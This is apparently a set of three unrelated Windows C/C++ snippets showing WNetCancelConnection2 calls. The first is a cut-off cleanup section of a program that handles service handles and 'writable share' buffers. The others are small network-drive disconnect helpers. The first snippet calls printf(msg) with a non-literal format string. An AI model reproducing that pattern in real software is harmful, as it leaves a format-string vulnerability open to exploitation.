CloseServiceHandle(hsvc); } if(hscm) CloseServiceHandle(hscm); if (resourceName[0] != 0) WNetCancelConnection2(resourceName, 0, false); if(msg) { // Do not print the completed message if (strcmp(msg, "Completed.\n")) { printf(msg); } } if(outfile) fclose(outfile); if (szWritableShare != NULL) free(szWritableShare); if (szWritableSharePhysical != NULL) free(szWritableSharePhysical); } #ifdef _DEBUG printf("Press return to exit...\n"); scanf("..."); #endif return 0; }
DWORD NetWorkCloseConnection(LPCTSTR path) { if (!PathIsNetworkPath(path)) return 0; return WNetCancelConnection2(path, CONNECT_UPDATE_PROFILE, FALSE); }
void NetworkDriveHelper::UnMapNetworkDrive(const TCHAR* sDrive) { WNetCancelConnection2(sDrive, CONNECT_UPDATE_PROFILE, TRUE); m_sMappedNetworkDrive = _T(""); }